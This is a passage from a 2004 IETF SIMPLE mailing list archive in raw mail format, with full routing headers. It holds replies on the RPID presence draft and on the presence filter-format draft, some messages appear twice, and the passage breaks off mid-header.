aXB0cyBpcyBzb21ldGhpbmcgdGhhdCBpcyBxdWl0ZSANCj4gPiBiZW5lZmljaWFsICsgY29waWVz
IGN1cnJlbnQgU01TLiANCj4gPiANCj4gPiAJDQo+ID4gCQ0KPiA+IAlBbm90aGVyIGNhc2UgaXMg
d2l0aCBhbiBJTSBjb25mZXJlbmNlLiBJZiBJIHNlbmQgYSANCj4gPiBtZXNzYWdlIHRvIHRoZSBt
aXhlciwNCj4gPiAJcmVxdWVzdGluZyBjb25maXJtYXRpb24sIGlkZWFsbHkgdGhhdCB3b3VsZCBi
ZSBhbiANCj4gPiBlbmQtdG8tYWxsLWVuZHMNCj4gPiAJY29uZmlybWF0aW9uLiBUaGUgbWl4ZXIg
d291bGQgaGF2ZSB0byByZXF1ZXN0IGFuZCANCj4gPiByZWNlaXZlIGNvbmZpcm1hdGlvbg0KPiA+
IAlmcm9tIGFsbCByZWNpcGllbnRzIGJlZm9yZSBjb25maXJtaW5nIHRvIHNlbmRlci4NCj4gPiAJ
DQo+ID4gCT4gR2l2ZW4gdGhhdCBhc3NlcnRpb24sIGNhbiB3ZSBzYXkgSU1ETidzIGFyZSBwYWdl
IG1vZGUgDQo+ID4gbWVzc2FnZXMuDQo+ID4gCQ0KPiA+IAlCYXNlZCBvbiBhYm92ZSwgSSBzYXkg
Tk8uDQo+ID4gDQo+ID4gCTw8Q0pCPj4gU29ycnkgUGF1bCwgSSdtIHdpdGggRXJpYyBhbmQgc3Rp
bGwganVzdCBkb24ndCANCj4gPiBzZWUgd2hlbiB0aGlzIHdvdWxkIGJlIHVzZWQuDQo+ID4gCQ0K
PiA+IAkgICAgICAgIFBhdWwNCj4gPiAJDQo+ID4gCQ0KPiA+IAlfX19fX19fX19fX19fX19fX19f
X19fX19fX19fX19fX19fX19fX19fX19fX19fXw0KPiA+IAlTaW1wbGUgbWFpbGluZyBsaXN0DQo+
ID4gCVNpbXBsZUBpZXRmLm9yZw0KPiA+IAlodHRwczovL3d3dzEuaWV0Zi5vcmcvbWFpbG1hbi9s
aXN0aW5mby9zaW1wbGUgDQo+ID4gPGh0dHBzOi8vd3d3MS5pZXRmLm9yZy9tYWlsbWFuL2xpc3Rp
bmZvL3NpbXBsZT4gDQo+ID4gCQ0KPiA+IA0KPiA+IA0KPiA+IA0KPiA+IFRoaXMgbWVzc2FnZSBo
YXMgYmVlbiBzY2FubmVkIGZvciB2aXJ1c2VzIGJ5IE1haWxDb250cm9sIC0gDQo+IHd3dy5tYWls
Y29udHJvbC5jb20NCj4gSinpmopYWChXeghtPww+IDAnfmZmWCnfoyJeDQo+IEp6fg0KPiANCg==

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 01:03:10 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04803
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 01:03:10 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPTI-0003e0-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:03:08 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPSL-0003Rl-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:02:10 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPRG-0003Cr-00; Wed, 03 Mar 2004 01:01:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPRI-0003q7-C8; Wed, 03 Mar 2004 01:01:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPQz-0003jS-Gr
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 01:00:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04511
	for <simple@ietf.org>; Wed, 3 Mar 2004 01:00:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPQw-00033p-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:00:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPPs-0002oP-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:36 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPP9-0002b7-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:58:51 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i235wY6c008014
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 00:58:40 -0500 (EST)
Message-ID: <40457410.5030409@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4043516C.8080704@dynamicsoft.com> <40441582.6040207@cisco.com>
In-Reply-To: <40441582.6040207@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 00:58:40 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

Unless somebody strongly disagrees, I'd like to just keep it in the 
document rather than wait for some unrelated, very early document to 
become ready. At worst, we end up duplicating a paragraph of fairly 
mushy text. (I.e., it just describes general system behavior, not really 
protocol operation.)

Paul Kyzivat wrote:

>> I dont agree. I dont think the text above is changing the normative 
>> behavior, its merely expanding on its usage to make it clear.
> 
> 
> I think the above *wants* to extend the normative behavior. Currently 
> the only normative behavior we have for non-IM communications is:
> 
>    The values "open" and "closed" indicate availability to receive
>    INSTANT MESSAGES if the <tuple> is for an instant messaging address.
>    They also indicate general availability for other communication
>    means, but this memo does not specify these in detail.
> 
> It is useful to say more in a normative way - to sharpen up the 
> definition. Adding the same language in an informative document doesn't 
> have the same significance.
> 
>     Paul
> 
> 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 01:03:41 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04844
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 01:03:41 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPTM-0004C7-Jh
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 01:03:12 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2363C0o016117
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 01:03:12 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPTM-0004Bs-GD
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 01:03:12 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04818
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 01:03:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPTJ-0003e5-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:03:09 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPSM-0003Rt-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:02:11 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPRG-0003Cr-00; Wed, 03 Mar 2004 01:01:02 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPRI-0003q7-C8; Wed, 03 Mar 2004 01:01:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPQz-0003jS-Gr
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 01:00:45 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04511
	for <simple@ietf.org>; Wed, 3 Mar 2004 01:00:44 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPQw-00033p-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:00:42 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPPs-0002oP-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:36 -0500
Received: from pecan.cc.columbia.edu ([128.59.59.178] ident=cu41754)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPP9-0002b7-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:58:51 -0500
Received: from cs.columbia.edu (UBAHN.wireless.ietf59.or.kr [218.37.227.100])
	(user=hgs10 mech=PLAIN bits=0)
	by pecan.cc.columbia.edu (8.12.11/8.12.11) with ESMTP id i235wY6c008014
	(version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT);
	Wed, 3 Mar 2004 00:58:40 -0500 (EST)
Message-ID: <40457410.5030409@cs.columbia.edu>
From: Henning Schulzrinne <hgs@cs.columbia.edu>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6a) Gecko/20031030
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Paul Kyzivat <pkyzivat@cisco.com>
CC: Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Simple WG <simple@ietf.org>
Subject: Re: [Simple] comments on draft-ietf-simple-rpid (long)
References: <4041F046.7050207@dynamicsoft.com> <4042B316.4050104@cisco.com> <4043516C.8080704@dynamicsoft.com> <40441582.6040207@cisco.com>
In-Reply-To: <40441582.6040207@cisco.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-No-Spam-Score: Local
X-Scanned-By: MIMEDefang 2.35
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 03 Mar 2004 00:58:40 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

Unless somebody strongly disagrees, I'd like to just keep it in the 
document rather than wait for some unrelated, very early document to 
become ready. At worst, we end up duplicating a paragraph of fairly 
mushy text. (I.e., it just describes general system behavior, not really 
protocol operation.)

Paul Kyzivat wrote:

>> I dont agree. I dont think the text above is changing the normative 
>> behavior, its merely expanding on its usage to make it clear.
> 
> 
> I think the above *wants* to extend the normative behavior. Currently 
> the only normative behavior we have for non-IM communications is:
> 
>    The values "open" and "closed" indicate availability to receive
>    INSTANT MESSAGES if the <tuple> is for an instant messaging address.
>    They also indicate general availability for other communication
>    means, but this memo does not specify these in detail.
> 
> It is useful to say more in a normative way - to sharpen up the 
> definition. Adding the same language in an informative document doesn't 
> have the same significance.
> 
>     Paul
> 
> 
> 
> 
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple


_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Wed Mar  3 01:04:13 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04882
	for <simple-archive@ietf.org>; Wed, 3 Mar 2004 01:04:13 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPUK-0003pd-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:04:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPTG-0003dj-00
	for simple-archive@ietf.org; Wed, 03 Mar 2004 01:03:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPSL-0003Rh-00; Wed, 03 Mar 2004 01:02:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPSD-00040T-68; Wed, 03 Mar 2004 01:02:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPRo-0003yN-7c
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 01:01:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04576
	for <simple@ietf.org>; Wed, 3 Mar 2004 01:01:35 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPRl-0003Go-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:01:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPQj-00031V-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:00:30 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPPd-0002m2-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:21 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyPPf-0003Yx-4n
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:23 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i235xLZ21242
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:59:21 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 07:59:12 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i235xCnD019600
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:59:12 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00dxMjfE; Wed, 03 Mar 2004 07:59:10 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i235xA709613
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:59:10 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 07:59:09 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400E4.A4C74201"
Subject: RE: [Simple] Comment and Question on draft-ietf-simple-filter-format-00
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797820@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] Comment and Question on draft-ietf-simple-filter-format-00
Thread-Index: AcQAybpkGEdENkm/QUCwaM1uERB7tgAGmJDg
To: <rajesh_karunamurthy@yahoo.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 05:59:09.0637 (UTC) FILETIME=[A5242750:01C400E4]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 07:59:09 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_40_50,
	HTML_FONTCOLOR_BLUE,HTML_MESSAGE,NO_REAL_NAME autolearn=no 
	version=2.60

This is a multi-part message in MIME format.

------_=_NextPart_001_01C400E4.A4C74201
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

=20

-----Original Message-----
From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of =
ext Rajesh Karunamurthy
Sent: 03.March.2004 04:44
To: simple@ietf.org
Subject: [Simple] Comment and Question on =
draft-ietf-simple-filter-format-00


Hi,
=20
I have one comment and one Question about this draft
=20
Comment: In Section  6.6, when filtering the Presence Information of =
sip:bob@domain.com an include element is used. The closing tag for this =
<include> element is given as </exclude> element, which is supposed to =
be </include>.=20
=20
Yes, you are right. Actually it was spotted already.=20
=20
Question: In section 6.5, the <filter> element does not have the uri =
attribute, does it mean that the Subscribe request will be addressed for =
a group of friends( For E.g.: SUBSCRIBE sip:friends@game.com)?=20
=20
Yes.
=20
Thanks for the review.
Hisham=20
=20
Thanks.
Rajesh
=20



  _____ =20

Do you Yahoo!?
Yahoo! Search - Find what you're looking  =
<http://search.yahoo.com/?fr=3Dad-mailsig-home> for faster.


------_=_NextPart_001_01C400E4.A4C74201
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META HTTP-EQUIV=3D"Content-Type" CONTENT=3D"text/html; =
charset=3Diso-8859-1">


<META content=3D"MSHTML 6.00.2800.1400" name=3DGENERATOR></HEAD>
<BODY>
<DIV><FONT face=3DArial color=3D#0000ff size=3D2></FONT>&nbsp;</DIV>
<BLOCKQUOTE=20
style=3D"PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #0000ff 2px =
solid">
  <DIV class=3DOutlookMessageHeader dir=3Dltr align=3Dleft><FONT =
face=3DTahoma=20
  size=3D2>-----Original Message-----<BR><B>From:</B> =
simple-admin@ietf.org=20
  [mailto:simple-admin@ietf.org]<B>On Behalf Of </B>ext Rajesh=20
  Karunamurthy<BR><B>Sent:</B> 03.March.2004 04:44<BR><B>To:</B>=20
  simple@ietf.org<BR><B>Subject:</B> [Simple] Comment and Question on=20
  draft-ietf-simple-filter-format-00<BR><BR></FONT></DIV>
  <DIV>Hi,</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>I have one comment and one Question about this draft</DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Comment: In =
Section&nbsp;&nbsp;6.6,&nbsp;when&nbsp;filtering&nbsp;the=20
  Presence Information of sip:bob@domain.com&nbsp;an include element is =
used.=20
  The closing tag&nbsp;for this &lt;include&gt; element is given as=20
  &lt;/exclude&gt; element, which is supposed to be =
&lt;/include&gt;.<SPAN=20
  class=3D489215505-03032004><FONT face=3DArial color=3D#0000ff=20
  size=3D2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=3D489215505-03032004></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D489215505-03032004><FONT face=3DArial =
color=3D#0000ff size=3D2>Yes,=20
  you are right. Actually it was spotted =
already.</FONT>&nbsp;</SPAN></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Question: In section 6.5, the &lt;filter&gt; element does not =
have the=20
  uri attribute, does it mean that the Subscribe request will be =
addressed=20
  for&nbsp;a group of&nbsp;friends(&nbsp;For E.g.: SUBSCRIBE=20
  sip:friends@game.com)?<SPAN class=3D489215505-03032004><FONT =
face=3DArial=20
  color=3D#0000ff size=3D2>&nbsp;</FONT></SPAN></DIV>
  <DIV><SPAN class=3D489215505-03032004></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D489215505-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2>Yes.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D489215505-03032004></SPAN>&nbsp;</DIV>
  <DIV><SPAN class=3D489215505-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2>Thanks for the review.</FONT></SPAN></DIV>
  <DIV><SPAN class=3D489215505-03032004><FONT face=3DArial =
color=3D#0000ff=20
  size=3D2>Hisham</FONT>&nbsp;</SPAN></DIV>
  <DIV>&nbsp;</DIV>
  <DIV>Thanks.</DIV>
  <DIV>Rajesh</DIV>
  <DIV>&nbsp;</DIV>
  <P>
  <HR SIZE=3D1>
  Do you Yahoo!?<BR>Yahoo! Search - <A=20
  href=3D"http://search.yahoo.com/?fr=3Dad-mailsig-home">Find what =
you're looking=20
  for faster.</A></BLOCKQUOTE></BODY></HTML>

------_=_NextPart_001_01C400E4.A4C74201--

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Wed Mar  3 01:04:45 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA05001
	for <simple-archive@odin.ietf.org>; Wed, 3 Mar 2004 01:04:44 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPUN-0004Jn-QX
	for simple-archive@odin.ietf.org; Wed, 03 Mar 2004 01:04:15 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2364F8u016593
	for simple-archive@odin.ietf.org; Wed, 3 Mar 2004 01:04:15 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPUN-0004JY-N3
	for simple-web-archive@optimus.ietf.org; Wed, 03 Mar 2004 01:04:15 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04900
	for <simple-web-archive@ietf.org>; Wed, 3 Mar 2004 01:04:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPUK-0003pj-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:04:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPTH-0003ds-00
	for simple-web-archive@ietf.org; Wed, 03 Mar 2004 01:03:08 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPSL-0003Rh-00; Wed, 03 Mar 2004 01:02:09 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPSD-00040T-68; Wed, 03 Mar 2004 01:02:01 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AyPRo-0003yN-7c
	for simple@optimus.ietf.org; Wed, 03 Mar 2004 01:01:36 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA04576
	for <simple@ietf.org>; Wed, 3 Mar 2004 01:01:35 -0500 (EST)
From: hisham.khartabil@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPRl-0003Go-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:01:33 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AyPQj-00031V-00
	for simple@ietf.org; Wed, 03 Mar 2004 01:00:30 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1AyPPd-0002m2-00
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:21 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1AyPPf-0003Yx-4n
	for simple@ietf.org; Wed, 03 Mar 2004 00:59:23 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i235xLZ21242
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:59:21 +0200 (EET)
X-Scanned: Wed, 3 Mar 2004 07:59:12 +0200 Nokia Message Protector V1.3.13 2004020314 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i235xCnD019600
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:59:12 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00dxMjfE; Wed, 03 Mar 2004 07:59:10 EET
Received: from esebh004.NOE.Nokia.com (esebh004.ntc.nokia.com [172.21.138.84])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i235xA709613
	for <simple@ietf.org>; Wed, 3 Mar 2004 07:59:10 +0200 (EET)
Received: from esebe019.NOE.Nokia.com ([172.21.138.58]) by esebh004.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Wed, 3 Mar 2004 07:59:09 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: multipart/alternative;
	boundary="----_=_NextPart_001_01C400E4.A4C74201"
Subject: RE: [Simple] Comment and Question on draft-ietf-simple-filter-format-00
Message-ID: <2038BCC78B1AD641891A0D1AE133DBB701797820@esebe019.ntc.nokia.com>
Thread-Topic: [Simple] Comment and Question on draft-ietf-simple-filter-format-00
Thread-Index: AcQAybpkGEdENkm/QUCwaM1uERB7tgAGmJDg
To: <rajesh_karunamurthy@yahoo.com>, <simple@ietf.org>
X-OriginalArrivalTime: 03 Mar 2004 05:59:09.0637 (UTC) FILETIME=[A5242750:01C400E4]
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Wed, 3 Mar 2004 07:59:09 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.6 required=5.0 tests=AWL,HTML_40_50,
